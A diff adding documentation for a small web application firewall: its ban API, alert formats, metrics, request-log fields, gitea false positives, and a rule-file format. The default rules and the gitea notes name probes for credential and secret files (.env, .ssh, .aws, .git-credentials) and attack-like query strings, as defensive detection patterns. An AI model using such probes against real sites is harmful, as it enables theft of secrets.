+  as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying what is
+  wrong:
+    - one that is not such an object, or has another field;
+    - one longer than 4 KiB;
+    - one that names an IPv4-mapped netblock, or an address with a zone.
+- `DELETE /_smallwebwaf/bans/<client>`: lifts every active ban covering the
+  address `<client>`. It answers `404` when none is active.
+- `GET /_smallwebwaf/clients/<ip>`: what `servewaf` knows of the client. Under
+  `client`, its counters and history as `clients.json` holds them, or `null`
+  when `clients.json` does not hold it. Under `bans`, every ban covering the
+  address, with its notes.
+- `POST /_smallwebwaf/report`: takes `rproxy`'s report, without a token. It
+  answers `204`, or `400` to a body that is no report (see "The report" in
+  [`SPEC.md`](../SPEC.md)).
+
+No check runs on these requests. A missing or wrong token is answered `401`. An
+endpoint whose token is unset answers `404`, as does any other path.
+
+`smallwebwaf rproxy` answers only the health check of these, at its own address.
+It asks `servewaf` about any other request under `/_smallwebwaf/`. One that
+passes the checks is answered `404`, so that the app never sees that prefix (see
+"`rproxy`" in [`SPEC.md`](../SPEC.md)).
+
+## Examples
+
+With `SWWAF_ADMIN_TOKEN` set, the token in `$TOKEN`, and `servewaf` reached as
+`servewaf:8080` on its network:
+
+```sh
+# Every ban.
+curl -H "Authorization: Bearer $TOKEN" http://servewaf:8080/_smallwebwaf/bans
+
+# Ban 203.0.113.0/24 for seven days.
+curl -H "Authorization: Bearer $TOKEN" \
+    --json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \
+    http://servewaf:8080/_smallwebwaf/bans
+
+# Lift the bans on 203.0.113.9.
+curl -H "Authorization: Bearer $TOKEN" -X DELETE \
+    http://servewaf:8080/_smallwebwaf/bans/203.0.113.9
+
+# What servewaf knows of 203.0.113.9.
+curl -H "Authorization: Bearer $TOKEN" \
+    http://servewaf:8080/_smallwebwaf/clients/203.0.113.9
+```

docs/alerts.md

@@ -0,0 +1,137 @@
+# Alerts
+
+The alert events, the JSON object the webhook gets, and the messages Slack and
+ntfy get. "Alerting" in [`SPEC.md`](../SPEC.md) says when an alert is sent, held
+back or dropped.
+
+## Events
+
+- `ban`: a ban `servewaf` made.
+- `permanent_ban`: a permanent ban it made, or an existing ban made permanent by
+  a request.
+- `waf_block`: the Core Rule Set scored a request at or over the threshold. The
+  request was refused unless the alert's `detail` gives `mode`: `detect` or
+  `observe`.
+- `anomaly`: a count over an anomaly threshold.
+- `reputation_hit`: a request from a client on a blocklist, the CrowdSec
+  decision list or a DNS blocklist, or with an AbuseIPDB score that is a hit.
+  One alert per source.
+- `source_failure`: one of:
+    - GeoJS failing;
+    - a list that cannot be fetched;
+    - a DNS blocklist or AbuseIPDB failing or refusing a query;
+    - the day's AbuseIPDB checks used up.
+- `file_error`: one of:
+    - a rule file or state file edit with an error;
+    - a state file that cannot be written;
+    - a replacement lookup database that cannot be read.
+- `summary`: the hourly summary of alerts held back.
+
+## The JSON object
+
+This is the alert for a ban for a broken rate limit, shown indented; it is sent
+on one line:
+
+```json
+{
+    "instance": "fsn1/servewaf",
+    "time": "2026-10-06T12:00:50.123461Z",
+    "event": "ban",
+    "host": "app.example",
+    "client": "203.0.113.9",
+    "netblock": "203.0.113.9/32",
+    "asn": "",
+    "as_name": "",
+    "country": "",
+    "reason": "requests per minute over the limit of 500",
+    "detail": {
+        "ban_expires": "2026-10-06T13:00:50.123Z",
+        "cause": "limit",
+        "notes": {
+            "asn": "",
+            "as_name": "",
+            "country": "",
+            "kind": "requests",
+            "limit": 500,
+            "window": "minute",
+            "count": 501,
+            "request": {
+                "time": "2026-10-06T12:00:50.123456789Z",
+                "method": "GET",
+                "host": "app.example",
+                "path": "/owner/repo/commits/branch/main?page=501",
+                "status": 403,
+                "user_agent": "scraper/1.0"
+            },
+            "requests": 501,
+            "refused": 0,
+            "earlier_bans": {
+                "limit": 0,
+                "attack": 0,
+                "admin": 0,
+                "crowdsec": 0
+            }
+        }
+    },
+    "suppressed_repeats": 0
+}
+```
+
+- `instance`: `SWWAF_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
+  one of the events above.
+- `host`: the site of the request that raised the alert, since one `servewaf`
+  serves many sites. It is left out of `source_failure`, `file_error` and
+  `summary`.
+- `client`: the address whose request raised the alert. Empty for
+  `source_failure`, `file_error` and `summary`.
+- `netblock`: empty for `source_failure`, `file_error` and `summary`; otherwise
+  one of:
+    - the ban's netblock;
+    - the netblock an anomaly counted, empty in the `asn` and `total` scopes;
+    - for the other events, the client as rate limiting counts it: an IPv4
+      address as a /32, or an IPv6 group.
+- `asn`, `as_name` and `country`: the client's, as known when the alert was
+  raised. They are empty when GeoJS had not answered yet.
+- `reason`: a short sentence, such as
+  `requests per minute over the limit of 500` or `listed by a blocklist`.
+- `detail`: what is particular to the event:
+    - for a ban, its `cause`, `ban_expires` and `notes` (the notes are listed
+      under `bans.json` in [`state-files.md`](state-files.md));
+    - for an anomaly, the `scope`, `window`, `kind`, `count` and `threshold`;
+    - for a reputation hit, the `source` and, for AbuseIPDB, the `score`;
+    - for a Core Rule Set match, the `rule_ids`, `score`, `method` and `path`;
+    - for a source failure, the `source` and `error`;
+    - for a file error, the `file` and `error`;
+    - for a summary, the `hour` it covers, the `count` of alerts held back, and
+      that count by event in `events`;
+    - `mode`, when the request was not refused: `detect` or `observe`.
+- `suppressed_repeats`: how many repeats the cooldown held back before this
+  alert.
+
+## Slack and ntfy
+
+Slack and ntfy get a message with a title and a text. The title is the instance
+and the event, such as `fsn1/servewaf: ban`. The text is the `reason`, then one
+line for each of these that the alert has:
+
+- the host, the client, the netblock and the country;
+- the file, the source, the error and the mode from `detail`;
+- the suppressed repeats, if any.
+
+Slack gets the title in bold and the text below it, with `&`, `<` and `>`
+escaped. ntfy gets the text as the message, with these headers:
+
+- `Title`: the title;
+- `Authorization`: the token, as `Bearer <token>`, while
+  `SWWAF_ALERT_NTFY_TOKEN` is set;
+- `Priority` and `Tags`: by event, as listed below.
+
+The priority and tag by event:
+
+- `ban`: priority `default`, tag `no_entry`.
+- `permanent_ban`: priority `high`, tag `no_entry`.
+- `waf_block`: priority `default`, tag `shield`.
+- `anomaly`: priority `high`, tag `chart_with_upwards_trend`.
+- `reputation_hit`: priority `low`, tag `label`.
+- `source_failure` and `file_error`: priority `high`, tag `warning`.
+- `summary`: priority `default`, tag `bar_chart`.

docs/gitea.md

@@ -0,0 +1,220 @@
+# smallwebwaf in front of gitea
+
+These notes record what `smallwebwaf` does in front of gitea at the default
+settings. They are observations, not requirements; the requirements are in
+[`SPEC.md`](../SPEC.md). `script/gitea-requests` runs gitea behind `rproxy` and
+`servewaf`, and sends through them a sample of gitea's ordinary use and the
+requests named below. It reports each request the Core Rule Set refuses, so that
+these notes can be checked again when gitea or the Core Rule Set changes
+version.
+
+## What the defaults cover
+
+- SSH access to gitea does not pass through `smallwebwaf` and is not protected
+  by it.
+- A clone is a response. It fits the defaults of 30 minutes and 1 GiB unless the
+  repository is large or the link slow. A repository whose clone is larger than
+  1 GiB needs `SWRP_MAX_RESPONSE_SIZE` raised, and the byte limits with it
+  ("Byte limits, per client" in `SPEC.md`).
+- A push is a request, and so is every other upload:
+    - a git push;
+    - an LFS object;
+    - a container image layer;
+    - a package file;
+    - a release attachment.
+
+    At the defaults, an upload larger than 100 MiB or taking more than 60
+    seconds is cut off ("`rproxy`'s limits" in `SPEC.md`). A gitea that takes
+    large uploads needs `SWRP_MAX_REQUEST_SIZE` and `SWRP_MAX_REQUEST_TIME_MS`
+    raised to fit.
+
+- Archive download and blame or history pages are what scrapers hammer. The
+  request limits do most of the work there.
+- An Actions runner that reaches gitea through `smallwebwaf` sends requests all
+  day. One older than version 0.4 (April 2026) asks for work every 2 seconds,
+  43,200 requests a day. While it runs a job, it reports the job's log and state
+  every second instead, two requests a second. So one runner busy all day sends
+  120 requests a minute and 172,800 a day, under the request limits. Two such
+  runners on one address, each busy all day, make 345,600 and pass the day limit
+  of 300,000. Three busy at once make 21,600 an hour and pass the hour limit of
+  20,000. Five busy at once make 600 a minute and pass the minute limit of 500.
+  Their address is then banned, their running jobs fail, and each repeat within
+  a day makes the ban longer. Newer runners ask for work less often. Put the
+  runners' addresses in `SWWAF_RATE_LIMIT_EXEMPT_NETS`.
+
+## What the Core Rule Set lets through
+
+At the defaults, the Core Rule Set lets gitea's ordinary use through, apart from
+the refusals in the next section:
+
+- browsing and views of files in a repository, with their history, blame and the
+  file tree;
+- diffs, including their hidden lines and large files, and pull request review;
+- git's clone, fetch and push over HTTP;
+- signing in, including the return to the page a visitor came from, and sign-in
+  with Git Credential Manager, git-credential-oauth or tea;
+- the API's calls for a file and its commits;
+- pushing and pulling container images and packages;
+- Actions runners, and artifacts uploaded with `actions/upload-artifact@v4`;
+- posting issues, pull requests, comments, wiki pages and files saved in the web
+  editor, code included, since no body is read;
+- the page gitea shows after a change, with its message naming what was done.
+
+## What the Core Rule Set still refuses
+
+Each refusal answers only that request ("Bans" in `SPEC.md` says what it counts
+toward). The request log names the rule in `waf_rule_ids`, which
+`SWWAF_WAF_DISABLED_RULES` can switch off.
+
+### A query string that reads as an attack
+
+Most often this is a search. A search term is a query parameter, which the Core
+Rule Set checks against its lists of system files and commands (see the fourth
+change under "Attack detection" in `SPEC.md`). A release attachment uploaded
+through the API as `docker-compose.yml` is refused the same way. Examples:
+
+- a name on those lists, such as `package.json`, `.gitignore` or
+  `docker-compose.yml`;
+- text that starts with a command name, such as `python3` or `ssh key`, or has
+  one right after a `/` in its first word, such as `feat/docker-support`;
+- a shell command with its options or a system path (`ls -la`, `sed -i`,
+  `/bin/sh`), or a command in backticks;
+- script code (`fetch(`, `${VAR}`, `process.env`), HTML (`<img src=`) or an SQL
+  statement (`SELECT * FROM users WHERE`);
+- a URL naming an IP address or `localhost`.
+
+### A branch, tag or file name that starts with a command name
+
+The Core Rule Set's list of commands (932260) holds names such as `docker-`,
+`python3`, `ansible`, `base64` and `whoami`. A query parameter holding a branch,
+tag or file name that starts with one is refused. So is one that has such a name
+right after a `/`, such as `feat/docker-support`, `fix/docker-build` or
+`renovate/docker-build-push-action-6.x`. gitea's own pages send the name in a
+query parameter that 930120, 932160 and 932260 still check:
+
+- `refSubUrl`, the branch or tag of a directory listing. A listing sends it when
+  it asks for its entries' last commits in a second request. It does so whenever
+  gitea takes more than a second to work them out;
+- `name`, when a branch is deleted or restored on the branches page;
+- `tag`, when a release is started from a tag;
+- `template`, the file of an issue template, when an issue is opened from it;
+- `rule_name`, when a branch protection rule is opened for editing in the
+  repository's settings or has just been saved.
+
+What a visitor sees, for a branch named `docker-build`:
+
+- A directory listing that makes that second request leaves those last commits
+  out and shows an error.
+- The branches page shows an error instead of deleting or restoring the branch.
+- A release started from such a tag gets the `403` answer of `smallwebwaf` in
+  place of its form. So does an issue opened from such a template, and such a
+  rule opened for editing.
+- Saving such a rule stores it. gitea then returns to the branch settings page,
+  which gets the `403` answer, so the save looks as if it failed.
+
+### A file name in a query parameter that trips the code rules
+
+The Core Rule Set's rules for Java, script, PowerShell and SQL find what they
+look for in some file names. This holds too in the ten query parameters that
+930120, 932160 and 932260 do not check (see the fourth change under "Attack
+detection" in `SPEC.md`). Examples:
+
+- `runtime` in OpenJDK's `src/java.base/share/classes/java/lang/Runtime.java`
+  (944110);
+- a Java class, as in `java.lang.String.md` (944130);
+- `document.write.js` (941180);
+- `process.env.d.ts` (934100);
+- `__proto__` (934130);
+- the PowerShell command `Install-Script`, as in `install-script.sh` (932120);
+- a database's name, as in PostgreSQL's `information_schema.sql` (942140).
+
+For such a file, these requests are refused:
+
+- the API's list of its commits (`path`);
+- the API's call for the contents of files that names it in its query (`body`);
+- the commit graph of that file alone (`file`);
+- the hidden lines of its diff (`path`), which stay hidden;
+- the sign-in page, for a visitor who opens a page of the file that needs
+  signing in, such as its edit page (`redirect_to`). The visitor can still sign
+  in by opening the sign-in page itself.
+
+### A path
+
+- A file name ending in `~`, or an `.xhtml` file whose path holds a space.
+- A path that holds what the Core Rule Set takes for a Java class (944130), as
+  `java.lang.String.md` and
+  `META-INF/services/org.apache.commons.logging.LogFactory` do.
+- A path that holds what it takes for Node.js code (934100), as
+  `process.env.d.ts` does.
+- A path with a directory named `...` (930100, 930110), such as `.../notes.txt`.
+
+For such a file, these are refused:
+
+- the page of the file;
+- its raw file;
+- its history and its blame;
+- its edit page.
+
+The directory that holds it lists it, and a clone carries it.
+
+### A container image push that reuses a layer
+
+A push can reuse a layer of an image docker has pushed to that gitea before.
+docker then asks gitea to take the layer from that image, naming it in the query
+parameter `from`, which 932260 checks. The request is refused when the image's
+owner starts with an entry on the list of commands. It is refused too when the
+image's name after the owner starts with one. Examples are `owner/python3-app`,
+`owner/docker-base`, and any image of an owner named `ansible` or `docker-team`.
+
+What happens next depends on docker's image store. A docker that keeps its
+images in containerd's image store fails the push, and fails each new try the
+same way. A new install of Docker Engine 29 does this. A docker that keeps them
+in its own older image store uploads the layer instead. The push then succeeds
+after one refusal for each layer it reuses, and each of those refusals counts
+toward the error burst ("Attack detection" in `SPEC.md`).
+
+### Artifact uploads from `actions/upload-artifact@v3`
+
+This action sends the header `Content-Range`, which the Core Rule Set refuses
+(920450). The action sends two files at a time, does not retry a `403`, and
+sends no further file once one is refused. So an upload is refused once or
+twice, however many files it holds, and the step fails. One upload does not ban
+the runner. The error burst ("Attack detection" in `SPEC.md`) bans it after more
+than 30 such refusals from its address in a minute, as when many jobs upload at
+once. `actions/upload-artifact@v4` does not send the header.
+
+## What body inspection refuses
+
+With `SWWAF_WAF_BODY_LIMIT` set, the Core Rule Set reads request bodies too. In
+front of gitea it then refuses these, until their rule ids, named in the request
+log, are added to `SWWAF_WAF_DISABLED_RULES`:
+
+- issue and comment text, wiki pages and files saved in the web editor that hold
+  shell commands or code (932125, 932235, 932250 and others);
+- package descriptions that show code;
+- PyPI uploads (922130);
+- attachments named like `debug.log` or `config.yml` (932180).
+
+## What `script/gitea-requests` sends
+
+Of the requests above, the script sends:
+
+- for each file named under "A file name in a query parameter that trips the
+  code rules", the API's list of its commits;
+- for `Runtime.java` alone, the commit graph of that file, the hidden lines of
+  its diff, and the API's call for the contents of files that names it;
+- the sign-in page for a visitor who opens the edit page of `document.write.js`;
+- the pages of `java.lang.String.md`,
+  `META-INF/services/org.apache.commons.logging.LogFactory`, `process.env.d.ts`
+  and `.../notes.txt`;
+- one container image push that reuses a layer, which it does not try again.
+
+It does not send the raw file, history, blame or edit page of those four files,
+or the pages of the directories `META-INF/services` and `...`. It also sends a
+short sample of gitea's ordinary use:
+
+- signing in;
+- pages of files and commits, and a diff;
+- the API;
+- a push, and clone and fetch over HTTP;
+- two container image pushes.

docs/image.md

@@ -0,0 +1,37 @@
+# What the image holds
+
+The contents of the `smallwebwaf` image, and how each part is pinned. The image
+runs `rproxy` by default, or `servewaf` with `SMALLWEBWAF_COMMAND=servewaf`.
+"Deployment" in [`SPEC.md`](../SPEC.md) says why each part is there and why it
+is pinned that way.
+
+## Contents
+
+- Ubuntu 26.04 LTS, pinned by digest.
+- `ca-certificates`, `nix-bin` and `runit` from Ubuntu's normal mirrors, the
+  live archive, not a dated snapshot.
+- Nix, with nixpkgs `nixos-26.05.11045.774debe7a0d1` set up for root as
+  `nixpkgs`. No Nix daemon; `build-users-group =` in `/etc/nix/nix.conf`. Root's
+  Nix profile, `/nix/var/nix/profiles/default/bin`, last on the `PATH`.
+  Unpacked, nixpkgs takes about 500 MiB.
+- `runsvinit` as the entrypoint, built from `github.com/peterbourgon/runsvinit`
+  at a fixed commit hash.
+- The `smallwebwaf` binary, and the user `smallwebwaf` (uid and gid 65532).
+- The service directory `/etc/service/smallwebwaf`, with the `run` script
+  `share/smallwebwaf.run`.
+- `/var/lib/smallwebwaf` for `servewaf`'s state files, and
+  `/etc/smallwebwaf/rules.d` with the default rule file
+  `share/rules.d/00-default.rules`.
+- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `smallwebwaf healthcheck`.
+
+## Pins
+
+- Ubuntu's packages are not pinned: they come from the live archive, whose
+  packages change with every update.
+- nixpkgs: the release file `nixexprs.tar.xz` of
+  `nixos-26.05.11045.774debe7a0d1` on `releases.nixos.org`, named with its
+  SHA-256 hash.
+- `runsvinit`: the archived repository, unchanged since 2015, at its last commit
+  (`b4b2c78`, eight commits after `v2.0.0`), by commit hash, with a `go.mod` the
+  build writes.
+- The Go image that builds `smallwebwaf`: by digest.

docs/metrics.md

@@ -0,0 +1,93 @@
+# The metrics
+
+What `GET /_smallwebwaf/metrics` answers with, at `servewaf`'s own address.
+"Metrics endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus
+keeps the `instance` label as `exported_instance` unless the scrape sets
+`honor_labels: true`. `rproxy` has no metrics.
+
+## Traffic
+
+- `smallwebwaf_requests_total`, `smallwebwaf_request_bytes_total` and
+  `smallwebwaf_response_bytes_total`, by `status_class` such as `2xx` and by
+  `action`;
+- `smallwebwaf_request_duration_seconds` and
+  `smallwebwaf_upstream_duration_seconds`, as histograms;
+- `smallwebwaf_requests_in_flight`: the questions and requests to its own
+  endpoints that `servewaf` is handling.
+
+## Limits and bans
+
+- `smallwebwaf_rate_limit_hits_total`, by `window` and by `kind` (`requests`,
+  `bytes` or `refusals`);
+- `smallwebwaf_offences_total`, by `kind`;
+- `smallwebwaf_bans_made_total`, by `cause`;
+- `smallwebwaf_active_bans` and `smallwebwaf_permanent_bans`.
+
+## Attack detection
+
+- `smallwebwaf_rule_matches_total`, by `rule_id` and `action`, and
+  `smallwebwaf_rules_loaded`;
+- `smallwebwaf_waf_matches_total`, by `mode` and `rule_id`, for the rules that
+  fired.
+
+## Countries and AS numbers
+
+For the `SWWAF_METRICS_TOP_N` busiest of each, the rest as `other`:
+
+- `smallwebwaf_country_requests_total`,
+  `smallwebwaf_country_request_bytes_total`,
+  `smallwebwaf_country_response_bytes_total` and
+  `smallwebwaf_country_list_refusals_total`, by `country`;
+- `smallwebwaf_asn_requests_total`, `smallwebwaf_asn_request_bytes_total` and
+  `smallwebwaf_asn_response_bytes_total`, by `asn`.
+
+## Lookups
+
+- `smallwebwaf_geojs_requests_total` and `smallwebwaf_geojs_failures_total`;
+- `smallwebwaf_geojs_unanswered_total`: the requests that needed an answer and
+  went on without it;
+- with the file source,
+  `smallwebwaf_lookup_database_last_read_timestamp_seconds` and
+  `smallwebwaf_lookup_database_read_failures_total`.
+
+## Reputation sources
+
+By `source`: each list's URL, each zone, and `abuseipdb`:
+
+- `smallwebwaf_reputation_hits_total`, `smallwebwaf_reputation_queries_total`
+  and `smallwebwaf_reputation_failures_total`;
+- `smallwebwaf_reputation_last_fetch_timestamp_seconds`, for a list;
+- `smallwebwaf_reputation_daily_budget_remaining`, for AbuseIPDB.
+
+## State files
+
+By `file`:
+
+- `smallwebwaf_state_file_writes_total`,
+  `smallwebwaf_state_file_write_failures_total`,
+  `smallwebwaf_state_file_last_write_timestamp_seconds` and
+  `smallwebwaf_state_file_size_bytes`;
+- `smallwebwaf_state_file_edits_taken_in_total` and
+  `smallwebwaf_state_file_edits_set_aside_total`;
+- `smallwebwaf_tracked_clients`: the clients in the table.
+
+## Remote log, alerts and the process
+
+- while a syslog server is set, `smallwebwaf_remote_log_lines_sent_total`,
+  `smallwebwaf_remote_log_lines_dropped_total` and
+  `smallwebwaf_remote_log_buffer_depth`;
+- by `destination`, `smallwebwaf_alerts_sent_total`,
+  `smallwebwaf_alerts_failed_total`, `smallwebwaf_alerts_suppressed_total` and
+  `smallwebwaf_alerts_dropped_total`;
+- Go's own `go_` metrics and the process's `process_` metrics.
+
+## When a request is counted
+
+`servewaf` counts a denied request at its decision, and a request to its own
+endpoints when it is answered. It counts an allowed request when its report
+comes, with the status, bytes and times the report gives. These are not counted:
+
+- a report itself;
+- an allowed request whose report never comes;
+- a question refused with `400`;
+- a question whose body stopped arriving.

docs/request-log.md

@@ -0,0 +1,206 @@
+# The request log's fields
+
+The fields of the JSON objects `rproxy` and `servewaf` write about each request.
+"Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line is
+written and how the log is sent to a syslog server. A field that does not apply
+to a request is left out.
+
+## `servewaf`'s lines
+
+`smallwebwaf servewaf` writes two lines for each question it answers, joined by
+`request_id`. The field `servewaf_line` says which of the two a line is:
+
+- `decision`: the line it writes once it has answered the question;
+- `report`: the line it writes when `rproxy`'s report comes, with everything
+  known. The repetition is intended.
+
+A request to its own endpoints writes one line, without `servewaf_line`. A
+report writes no line but the `report` line of the request it names.
+
+These questions write no line:
+
+- a question refused with `400` (see "The question" under "`servewaf`" in
+  [`SPEC.md`](../SPEC.md));
+- a question whose body stopped arriving, which gets no answer.
+
+A `report` line:
+
+```
+{"type":"request","servewaf_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/servewaf","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"waf_score":0,"duration_total":3.217,"duration_checks":0.041,"duration_waf":0.029,"duration_upstream_total":3.104}
+```
+
+### Every line
+
+Every one of these lines has:
+
+- `type`: `request` (the process's own messages have `process`);
+- the standard web log fields;
+- `request_id`, `peer_ip` and `client_group`;
+- `asn`, `as_name` and `country`;
+- `action` and `duration_total`.
+
+### Standard web log fields
+
+- `time`: when `servewaf` had read the question's body, RFC 3339 with
+  milliseconds, in UTC. The `report` line gives the same time as the `decision`
+  line.
+- `instance`: `SWWAF_INSTANCE_NAME`.
+- `client_ip`: the visitor's address, as `rproxy` worked it out.
+- `method`, `path` and `query`: the visitor's request.
+- `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of
+  it.
+- `host`: the site the visitor asked for.
+- `protocol`: the question's own, `HTTP/1.1`.
+- `status`:
+    - on the `decision` line, what `servewaf` answered: `200` for `allow`, the
+      status of `deny`, or `0` for `close`, as the visitor is then sent nothing;
+    - on the `report` line, what the visitor got, `0` if nothing.
+- `request_bytes`:
+    - on the `decision` line, how much of the question's body the Core Rule Set
+      read;
+    - on the `report` line, the bytes of the visitor's body that `rproxy` read,
+      with what a WebSocket carried from the visitor.
+- `response_bytes`:
+    - on the `decision` line, the body of `servewaf`'s answer;
+    - on the `report` line, the bytes of the answer's body, with what a
+      WebSocket carried from the app.
+- `referer` and `user_agent`.
+
+### Request detail
+
+- `request_id`: the id `rproxy` made for the request when it arrived.
+- `peer_ip`: the address of `rproxy`'s TCP peer, normally traefik.
+- `forwarded_for`: the `X-Forwarded-For` header the visitor's request came with.
+- `client_group`: the client as rate limiting counts it, an IPv4 address as a
+  /32 or an IPv6 group.
+- `asn`, `as_name` and `country`: the client's, as looked up. Each is empty
+  when:
+    - lookups are off;
+    - the client is not looked up;
+    - the source cannot place the client;
+    - GeoJS had not answered by the time `servewaf` answered.
+- `content_type`: the visitor's `Content-Type`.
+- `content_length`: the body length the visitor announced.
+- `request_headers`: the headers listed in `SWWAF_LOG_REQUEST_HEADERS`, by name
+  in lower case.
+- `has_authorization` and `has_cookie`: true when the request had those headers.
+  Their values are never logged.
+
+### Response detail
+
+- `response_content_type`: the type of `servewaf`'s own answer.
+- `aborted`: true when `rproxy` went away before the answer.
+
+### Decision
+
+- `action`: what was done:
+    - `forward`: answered `allow`, so that `rproxy` passes it to the app;
+    - `denied`: refused for `SWWAF_DENY_NETS`, or for a reputation source with
+      the action `deny`;
+    - `banned`: refused under a ban, or for a `ban` rule, a trap path or a
+      CrowdSec decision, each of which bans the client;
+    - `country_denied`, `rate_limited`, `rule_blocked` and `waf_blocked`:
+      refused by that check;
+    - `too_large`: over a header limit;
+    - `admin`: answered at one of `servewaf`'s own endpoints, or `404` for a
+      path under `/_smallwebwaf/`.
+- `would_action`: in `observe` mode, what `enforce` mode would have done with a
+  request it would have refused. `action` then names what was done, normally
+  `forward`.
+- `limit_percent` and `limit_percent_setting`: the client's percentage of the
+  rate limits and the setting that lowered it, when one did. `bytes_percent` and
+  `bytes_percent_setting` do the same for the byte limits.
+- `counts`: the client's totals as rate limiting counts them, this request
+  included. It is left out when rate limiting did not count the request. It
+  holds:
+    - `minute`, `hour` and `day`: requests;
+    - `minute_bytes`, `hour_bytes` and `day_bytes`: bytes.
+
+    A count can have a fraction (see "Counting method" in
+    [`SPEC.md`](../SPEC.md)). The bytes of an allowed request are counted when
+    its report comes. So on the `decision` line, the bytes are without this
+    request's.
+
+- `limit_hit`: the limit broken:
+    - `minute`, `hour` or `day` for a rate limit;
+    - `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
+    - `error_burst`.
+
+    A request whose bytes broke a limit was passed on whole, so its `action`
+    stays `forward`. Only its `report` line gives that limit.
+
+- `rule_ids`: the rule file rules that matched, in order, up to the one that
+  refused.
+- `waf_score` and `waf_rule_ids`: the Core Rule Set's score and the rules that
+  matched, for a request it inspected.
+- `reputation`: the sources the client is on, in this order:
+    - blocklist URLs;
+    - the CrowdSec decision list's URL;
+    - DNS blocklist zones;
+    - `abuseipdb`.
+- `offence`: `limit`, for a request that broke a limit.
+- `ban_expires`: when the client's ban ends, for a request that made one or was
+  refused under one: a time, or `permanent`.
+
+### Timings
+
+All in milliseconds:
+
+- `duration_total`:
+    - on the `decision` line, from `servewaf` having read the question's body to
+      the line;
+    - on the `report` line, from `rproxy` having read the request's headers to
+      the end of the answer.
+- `duration_checks`: to the end of the checks;
+- `duration_waf`: the part of that the Core Rule Set took;
+- `duration_upstream_total`: on the `report` line of an allowed request, from
+  the hand-over to the app to the end of the answer.
+
+### Requests to its own endpoints
+
+The line of a request to `servewaf`'s own endpoints has these fields, with these
+meanings where they differ:
+
+- `client_ip` and `peer_ip`: the request's TCP peer.
+- `request_id`: a new random one of 26 letters and digits.
+- `scheme`: `http`.
+- `time`: when the request's headers had been read.
+- `request_bytes`: the bytes read of a ban to add, and otherwise `0`.
+- `action`: `admin`.
+- `duration_total`: from the request's headers being read to the line.
+
+## `rproxy`'s line
+
+`smallwebwaf rproxy` writes one short line for each request. `request_id` joins
+it to `servewaf`'s two. It has these fields and no others:
+
+- `type`: `request`.
+- `time`: when the request arrived, RFC 3339 with milliseconds, in UTC.
+- `request_id`: the id `rproxy` made for the request when it arrived.
+- `client_ip`: the visitor's address.
+- `host` and `method`.
+- `path` and `query`: as the visitor sent them.
+- `status`: what the visitor got, `0` if nothing.
+- `request_bytes`: the bytes of the visitor's body that `rproxy` read, with what
+  a WebSocket carried from the visitor.
+- `response_bytes`: the bytes of the answer's body, with what a WebSocket
+  carried from the app.
+- `duration_request`: milliseconds from the request's headers being read until
+  the app had been sent the whole request, or the answer started if that was
+  sooner. It includes the wait for `servewaf`.
+- `duration_response`: milliseconds from then until the end of the answer.
+- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
+  is `servewaf`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is left
+  out when:
+    - `servewaf` was not asked, as for the health check;
+    - the visitor went away while `servewaf` was being asked;
+    - `servewaf`'s answer had no valid `X-Smallwebwaf-Disposition`;
+    - `rproxy` could not pass on `servewaf`'s answer, and answered `502`.
+- `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave
+  `disposition`, and otherwise left out.
+
+For example:
+
+```
+{"type":"request","time":"2026-10-03T12:00:00.123Z","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","client_ip":"203.0.113.9","host":"app.example","method":"GET","path":"/","query":"","status":200,"request_bytes":0,"response_bytes":5120,"duration_request":1.204,"duration_response":3.104,"disposition":"allow"}
+```

docs/rules.md

@@ -0,0 +1,72 @@
+# Rule files
+
+The format of a rule file, and the default file the image ships. "Rule files" in
+[`SPEC.md`](../SPEC.md) says how the files are read, watched and mounted, and
+what each action leads to.
+
+## The format
+
+A rule is a line of four fields separated by spaces or tabs: an id, a target, an
+action and a regex. The regex runs to the end of the line. Blank lines and lines
+starting with `#` are ignored.
+
+```
+# id           target      action  regex
+env-file       path        ban     (?i)^/\.env(\.[a-z]+)?$
+scanner-agent  user_agent  ban     (?i)\b(sqlmap|nikto|nuclei|wpscan)\b
+```
+
+- The id is letters, digits, `-` and `_`, unique across all files. The log line,
+  the metrics, the alerts and a ban's notes name the rule by it.
+- The target is what the regex is matched against:
+    - `path`: the path without the query;
+    - `uri`: the path and the query together;
+    - `query`: the query as sent;
+    - `method`, `host`, `user_agent` and `referer`;
+    - `header:<Name>`: any one request header but `Host` and
+      `Transfer-Encoding`.
+- The action is `log`, `block` or `ban`.
+- The regex is in Go's syntax, RE2. It matches anywhere in the target unless
+  anchored with `^` and `$`. `(?i)` at its front makes it ignore case.
+
+## The default file
+
+The image ships one file, `share/rules.d/00-default.rules`, installed as
+`/etc/smallwebwaf/rules.d/00-default.rules`:
+
+```
+# 00-default.rules: probes no real visitor sends, anchored at the site root
+
+# id             target      action  regex
+env-file         path        ban     (?i)^/\.env(\.[a-z]+)?$
+vcs-dir          path        ban     (?i)^/\.(git|svn|hg|bzr)(/|$)
+secrets-dir      path        ban     (?i)^/\.(aws|ssh|docker|kube)/
+secret-file      path        ban     (?i)^/\.(htpasswd|htaccess|npmrc|netrc|pgpass|git-credentials|bash_history|DS_Store)$
+editor-dir       path        ban     (?i)^/\.(vscode|idea)/
+backup-file      path        ban     (?i)^/[^/]+\.(php(\.[a-z0-9]+|~)|sql(\.[a-z0-9]+)?)$
+log-file         path        ban     (?i)^/(debug|error|access)\.log$
